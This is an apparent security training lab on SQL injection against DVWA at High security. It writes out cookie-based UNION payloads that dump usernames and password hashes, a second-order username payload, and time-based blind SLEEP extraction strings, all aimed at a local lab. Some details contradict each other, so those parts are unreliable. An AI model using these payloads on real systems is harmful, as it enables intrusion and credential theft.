⚠️ Authorised Lab Environment Only. All SQL injection techniques in this lab must be performed exclusively on your own local DVWA installation or authorised platforms. Testing SQL injection against production applications without written permission violates computer misuse legislation. All exercises target http://localhost/dvwa/ only.
DVWA SQL Injection High Security Lab for 2026 :— Labs 1 through 11 covered SQL injection at Low and Medium security where the injection point was obvious and filters were minimal. High security changes the game: input sanitisation blocks the classic ' payloads, WAF-like filtering removes obvious keywords, and the application’s SQL logic is restructured to reduce direct injection surfaces. This lab teaches the techniques that work when the obvious paths are closed: second-order injection that stores and later executes payloads, blind injection that confirms vulnerabilities through timing and boolean responses when direct output is suppressed, and the cookie-based injection path specific to DVWA High that demonstrates how sanitisation in one code path can miss another.
🎯 What You’ll Master in Lab 21
Understand why mysql_real_escape_string() stops classic injection and what it misses
Why High Security Is Different — What mysql_real_escape_string() Does
DVWA Low security concatenates user input directly into the SQL query with no filtering whatsoever. Medium security applies basic filtering but using methods that can be bypassed. High security uses PHP’s mysql_real_escape_string() function to sanitise input before it reaches the query. This function escapes the characters that SQL injection depends on: single quotes, double quotes, backslashes, null bytes, carriage returns, and line feeds. A payload like 1' OR '1'='1 becomes 1\' OR \'1\'=\'1 after escaping — the escaped quotes cannot close the SQL string context, so the injection fails.
For most input paths, mysql_real_escape_string() is effective when used correctly. The DVWA High security implementation has a specific architectural decision that creates an alternative injection path: rather than using the URL parameter directly, the application stores the user ID in a PHP session cookie and reads the SQL query parameter from that cookie. The session storage and retrieval introduces a path where the value is used without consistent sanitisation — this is the bypass specific to DVWA High.
securityelites.com
DVWA SQL Injection — Low vs High Security Code Comparison
High security reads the id from the COOKIE header — direct cookie manipulation in Burp bypasses URL parameter sanitisation
📸 DVWA SQL injection source code comparison between Low and High security. Low security reads directly from the GET parameter with no sanitisation. High security reads from a cookie and applies mysql_real_escape_string(). The important architectural detail: the cookie is set by the form submission, but you can modify the cookie value directly in Burp Suite or browser DevTools before the server reads it — bypassing the sanitisation by manipulating the value at the point where it enters the cookie rather than through the sanitised form input.
The Cookie-Based Injection Path in DVWA High
DVWA High security’s SQL injection page reads the user ID from a PHP session cookie named id. When you submit the form by clicking “Submit”, the value you entered is stored in this cookie, and the page then reads that cookie value to run the SQL query. The sanitisation applies to the form input at submission time. However, between form submission and the SQL query execution, the value passes through the cookie — and if you intercept and modify the cookie directly in Burp Suite before the query runs, you can inject into the cookie value without going through the sanitised form input path.
DVWA HIGH — COOKIE INJECTION VIA BURP SUITE
# Step 1: Set DVWA security to HIGH
# Go to DVWA Security page → set to High → Submit
# Step 2: Navigate to SQL Injection page
# http://localhost/dvwa/vulnerabilities/sqli/
# Submit a normal request: enter “1” → Submit
# Intercept with Burp Proxy
# Step 3: In Burp Intercept — find the Cookie header
GET /dvwa/vulnerabilities/sqli/ HTTP/1.1
Host: localhost
Cookie: PHPSESSID=abc123; security=high; id=1
^^ this is the injection point
# Step 4: Modify the id cookie value to inject
Cookie: PHPSESSID=abc123; security=high; id=1′ ORDER BY 3– –
# Forward the request
# Error = fewer than 3 columns; no error = 3+ columns
# Step 5: Find column count then enumerate
id=1′ ORDER BY 2– –
# No error = 2 columns confirmed
id=1′ UNION SELECT user,password FROM users– –
# Returns user credentials from the database
⚡ EXERCISE 1 — KALI TERMINAL + BURP (20 MIN)
Cookie-Based SQL Injection on DVWA High Security
⏱️ 20 minutes · Kali + DVWA + Burp Suite
EXERCISE 1 — COOKIE INJECTION FULL CHAIN
# Step 1: Set security to High, navigate to SQL Injection
# Submit ID “1” through the form with Burp intercepting
# Step 2: In Burp Intercept, note the id cookie value
# Modify it to: 1′ ORDER BY 1– –
# Forward. No error? Try ORDER BY 2, then 3
# Error at ORDER BY 3 = 2 columns
# Step 3: UNION SELECT to find output position
# Set id cookie to:
id=1′ UNION SELECT 1,2– –
# Note which number appears in the output
# Step 4: Extract database info
id=1′ UNION SELECT user(),database()– –
# Returns: root@localhost | dvwa
# Step 5: Extract user table credentials
id=1′ UNION SELECT user,password FROM users– –
# Returns all users and hashed passwords from DVWA database
✅ What you just learned: The cookie injection path demonstrates a critical principle — sanitisation applied to one input pathway (the form field) does not automatically protect all code paths that use the same data. The form sanitises correctly, but the cookie value travels through a different code path where it is used in the SQL query without equivalent protection. This is a common real-world pattern: developers sanitise the obvious input (HTTP parameters) but miss other channels (cookies, HTTP headers, JSON body fields, referrer headers) that feed the same database queries.
📸 Screenshot the Burp intercept showing cookie modification and the user/password output. Post to #lab-21-sqli-high on Discord.
Second-order SQL injection (also called stored SQL injection) is the most conceptually advanced variant in this lab series. It exploits the gap between two separate operations: input sanitisation at insertion time and input usage at retrieval time. A common scenario: a registration form sanitises a username correctly — the SQL INSERT statement is safe, no injection occurs. The sanitised username is stored in the database as-is, including any SQL characters that were escaped at insert time. Later, the application retrieves that username and uses it in another SQL query — a profile update, an audit log query, or a report — without re-sanitising, because the developer assumes data from the database is already safe. The payload stored safely executes at retrieval.
In DVWA’s context, this pattern appears in the Change Password functionality. If a username like admin'-- - is registered (successfully, because the INSERT sanitises it), and then used in a later UPDATE or SELECT query without sanitisation, the stored value becomes an injection vector. The practical exploitation in DVWA High demonstrates this by registering a specially crafted account name and then triggering the vulnerable retrieval operation.
securityelites.com
Second-Order Injection — Two-Stage Attack Chain
STAGE 1: Safe Insert (sanitised correctly)
Registration form input: admin’– – mysql_real_escape_string() applied: admin\’– – INSERT INTO users (username) VALUES (‘admin\’– -‘); ✓ Stored safely as: admin’– – (literal quote in DB)
STAGE 2: Unsafe Retrieval (no sanitisation)
$username = SELECT username FROM users WHERE id=1; // Returns: admin’– – (literal, unsanitised) $query = “UPDATE users SET pass=’$pass’ WHERE username=’$username'”; // Becomes: WHERE username=’admin’– -‘ ✗ INJECTED: comment truncates WHERE clause, updates ALL users
📸 Second-order injection two-stage chain. Stage 1 inserts the payload safely — the sanitisation works correctly. Stage 2 retrieves the stored value and uses it in a new query without re-sanitising, because the developer assumed data from the database is already safe. The stored literal single quote now executes in the new query context. The UPDATE query in Stage 2 changes passwords for all users instead of just one because the injected comment removes the limiting WHERE clause.
# Second-order attack: register username with SQL payload
# Then change password — the payload fires in the UPDATE query
# Step 1: In DVWA, navigate to Create/Reset a Database
# OR access the DVWA user management if available
# Create a new user with the SQL payload as the username:
Username: admin’– –
Password: anything
# Step 2: Log in as the newly created user (admin’– -)
# Go to DVWA Security → change password function
# Enter a new password: hacked
# Step 3: Check what SQL query ran (view source in DVWA)
# The UPDATE query becomes:
UPDATE users SET password=’hacked’ WHERE username=’admin’– -‘
# The — – comments out ‘ and everything after
# Effective query: WHERE username=’admin’
# Result: admin’s password changed to ‘hacked’
# Step 4: Confirm by logging out and logging in as:
# Username: admin | Password: hacked
✅ What you just learned: The second-order injection demonstrates the most important principle in this lab series: input sanitisation must be applied at the point of use in a SQL query, not just at the point of initial input. The DVWA vulnerability occurs because the developer sanitised the registration INSERT (correctly) but trusted that the retrieved username was safe when used in the UPDATE (incorrectly). In real applications, this pattern appears whenever retrieved database values are concatenated into new queries — user profiles, audit logs, admin interfaces, email templates — any code that reads from the database and uses that data in a subsequent query without prepared statements.
📸 Screenshot the admin login confirmation after the second-order injection changed their password. Post to #lab-21-sqli-high on Discord.
Time-Based Blind Injection — Confirm When Output Is Gone
Blind SQL injection is used when the application doesn’t display query results — no UNION SELECT output, no error messages, just a generic response. Time-based blind injection confirms a vulnerability by causing the database to sleep for a measurable duration when a condition is true. If the query pauses for 5 seconds after injecting AND SLEEP(5), the database executed the injection — proving vulnerability even with no visible output.
TIME-BASED BLIND SQL INJECTION
# Test for time-based blind injection via cookie
# Modify the id cookie in Burp to:
id=1′ AND SLEEP(5)– –
# If the response takes ~5 seconds: time-based blind confirmed
# Extract data character by character using time-based blind
# Test if first character of database name is ‘d’ (ASCII 100)
id=1′ AND IF(SUBSTRING(database(),1,1)=’d’,SLEEP(5),0)– –
# 5 second delay = first char is ‘d’
# Iterate through characters to reconstruct database name
sqlmap needs extra configuration flags to test DVWA High security effectively. The default scan level may not test cookie parameters. Use --level=2 (or higher) to include cookies and HTTP headers, --risk=2 to include more aggressive tests, and explicitly specify the cookie string with the injection parameter via -p id to tell sqlmap which parameter to target.
SQLMAP FOR DVWA HIGH SECURITY
# sqlmap with cookie injection and high security session
# Compare to Low security technique used in earlier labs
✅ What you just learned: The –level=2 flag enables cookie parameter testing that sqlmap skips at the default level. The * injection marker in the cookie tells sqlmap exactly where to inject. The technique comparison between Low and High is the key takeaway: at Low security, sqlmap uses fast UNION-based extraction. At High security with the cookie path, it may fall back to slower blind techniques — not because the database is harder to attack, but because the injection point characteristics affect which extraction methods are available.
📸 Screenshot sqlmap’s output showing the technique used and the dumped credentials. Post to #lab-21-sqli-high on Discord. Tag #lab21-complete
What Properly Fixes SQL Injection — Parameterised Queries
Every SQL injection variant covered in this lab — direct injection, second-order, time-based blind, cookie-based — has the same root cause: user-controlled data is concatenated into SQL queries as a string. The fix for all variants is the same: parameterised queries (prepared statements). The SQL structure is defined separately from data values, and the database driver ensures data values can never alter the query structure regardless of what they contain.
The critical implication for second-order injection: parameterised queries must be applied at the point of SQL query execution, not just at the point of user input. The DVWA second-order vulnerability exists because the UPDATE query concatenates a retrieved username. The data came from the database — but that does not make it safe, because an attacker controlled its contents at registration time. The rule is absolute: every SQL query that uses any variable value — regardless of origin, even if retrieved from your own database — must use parameterised queries.
securityelites.com
The Complete Fix — Parameterised Queries at Every SQL Call
❌ VULNERABLE (all variants)
// Insert $q = “INSERT INTO users (user) VALUES (‘$user’)”;
// Retrieve and re-use $u = get_user_from_db(); $q = “UPDATE SET pass=’$p’ WHERE user=’$u'”; Both queries concatenate — both injectable
✅ FIXED (parameterised throughout)
// Insert $s=$pdo->prepare(“INSERT INTO users (user) VALUES (?)”); $s->execute([$user]);
// Retrieve and re-use $u = get_user_from_db(); $s=$pdo->prepare(“UPDATE SET pass=? WHERE user=?”); $s->execute([$p,$u]);
📸 The SQL injection fix applied consistently. Both the INSERT and the UPDATE use parameterised queries — the user value never touches the SQL string structure at any point. Even if the user value retrieved from the database contains SQL characters (because it was registered with a malicious payload), the parameterised UPDATE query treats it as pure data, not SQL syntax. This is the only fix that works across all injection variants including second-order.
Second-Order Injection Prevention: Parameterised queries at retrieval time are just as important as at insert time. The DVWA second-order vulnerability exists because the developer correctly sanitised the INSERT but then used string concatenation for the UPDATE. The rule is absolute: every SQL query that uses any variable value — regardless of where that value came from, even if it came from your own database — must use parameterised queries or an ORM that parameterises automatically.
🧠 QUICK CHECK — DVWA SQL Injection High
A developer reviews the DVWA High security code and notices the vulnerability. They fix it by adding mysql_real_escape_string() to the cookie value before using it in the query. Is the vulnerability now fixed?
📋 Lab 21 Key Concepts — SQL Injection High Security
mysql_real_escape_string() limitationEscapes dangerous chars in the input path it’s applied to — misses other paths (cookies, headers)
Cookie injection bypassModify id cookie directly in Burp — DVWA High reads from cookie not URL parameter
Second-order injectionRegister: admin’– – → stored safely → used in UPDATE without re-sanitisation → injects
Time-based blindAND SLEEP(5) — confirms injection when no output is visible; 5-second delay = vulnerable
sqlmap for High security–level=2 enables cookie testing · id=1* injection marker · –technique=T for time-based
Correct fixParameterised queries at every SQL call — not sanitisation of individual input channels
🏆 Mark Lab 21 Complete — DVWA SQL Injection High Security
Lab 21 demonstrated how sanitisation on one code path leaves other paths vulnerable, and how second-order injection exploits the gap between insert and retrieval. Lab 22 chains multiple vulnerabilities together for the highest-impact attack sequence in the course.
❓ Frequently Asked Questions — DVWA SQL Injection High 2026
What makes DVWA SQL injection high security different?
High security uses mysql_real_escape_string() which escapes single quotes and other dangerous characters. Additionally, the user ID is read from a cookie rather than a URL parameter, creating a different injection path. The lab demonstrates second-order injection and cookie-based injection as bypasses.
What is second-order SQL injection?
An attack where user input is safely stored in the database at insertion time but later retrieved and used in another SQL query without sanitisation. The payload survives the first (safe) operation and executes in the second (unsafe) one. Registration + password change is the classic second-order scenario.
How do you bypass mysql_real_escape_string()?
Common bypass vectors: second-order injection (go through the database to bypass the sanitised input path), cookie/header injection (inject through unsanitised code paths that mysql_real_escape_string() wasn’t applied to), and multi-byte character set attacks (GBK encoding can neutralise the backslash escape).
What is the DVWA High SQL injection bypass?
DVWA High reads the user ID from the session cookie (id=1) rather than the URL parameter. Modify this cookie directly in Burp Suite before the request is processed — the cookie value is used in the SQL query and the injection succeeds through this path.
How does time-based blind SQL injection work?
Inject AND SLEEP(5) into the query. If the response takes ~5 seconds, the injection executed — proving vulnerability even without visible output. Extract data by asking conditional questions: IF(SUBSTRING(database(),1,1)=’d’,SLEEP(5),0) — a delay means the first character is ‘d’.
What properly fixes SQL injection?
Parameterised queries (prepared statements) throughout the codebase — applied at every SQL call that uses any variable data. mysql_real_escape_string() is weaker because it must be applied consistently to every input path and misses second-order scenarios. Parameterised queries eliminate injection architecturally.
← Previous
Lab 20: DVWA CSRF Advanced
Next →
Lab 22: DVWA Vulnerability Chaining
📚 Further Reading
DVWA SQL Injection Lab (Low/Medium)— The foundational UNION-based and error-based SQL injection techniques that Lab 21 builds on — complete this before attempting High security.
Lab 22: DVWA Vulnerability Chaining— Lab 22 chains SQLi, XSS, and file upload vulnerabilities for the highest-impact combined attack in the course series.
DVWA Lab Series Hub— Full 30-lab course overview — Lab 21 is the second to last security-escalation challenge before the final chaining lab.
PortSwigger — SQL Injection Complete Guide— PortSwigger’s comprehensive SQL injection reference including blind injection, second-order, and out-of-band techniques with guided labs.
ME
Mr Elite
Owner, SecurityElites.com
Second-order injection is the finding that most surprises developers when I demonstrate it in code review. They show me the registration code: “See, we escape everything going into the database.” Then I show them the profile update code that reads the username from the database and concatenates it into the UPDATE query. The look when they realise their database — their trusted data store — is the injection source is memorable. Most developers have been trained to validate and sanitise inputs. Far fewer have been trained that the output of one query can be the injection vector for the next. Parameterised queries at retrieval are just as important as at insertion.